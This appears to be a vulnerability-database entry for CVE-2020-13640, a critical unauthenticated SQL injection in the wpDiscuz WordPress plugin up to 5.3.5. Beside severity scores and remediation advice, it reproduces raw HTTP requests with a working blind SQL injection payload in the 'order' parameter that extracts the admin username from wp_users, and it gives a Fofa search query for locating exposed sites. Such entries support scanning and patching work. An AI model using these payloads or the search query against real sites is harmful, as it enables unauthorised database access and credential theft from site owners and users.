| Title | wpDiscuz <= 5.3.5 - SQL Injection |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including user credentials, posts, and sensitive WordPress configuration data. |
| Remediation | Upgrade to wpDiscuz version 5.3.6 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.70234 |
| CVE ID | CVE-2020-13640 |
| CWE ID | CWE-89 |
| Fofa Query | body="/wp-content/plugins/wpdiscuz" |
| Tags | cve cve2020 wordpress wp wp-plugin wpdiscuz sqli vkev vuln |
A SQL injection issue in the gVectors wpDiscuz plugin 5.3.5 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the order parameter of a wpdLoadMoreComments request.
GET /wp-json/wp/v2/comments HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/537.86.4
Connection: close
Accept-Encoding: gzip
POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Length: 263
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 96) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId=psM4GV
POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Content-Length: 263
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 97) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId=psM4GV
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13640.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13640.pcap
N/AN/A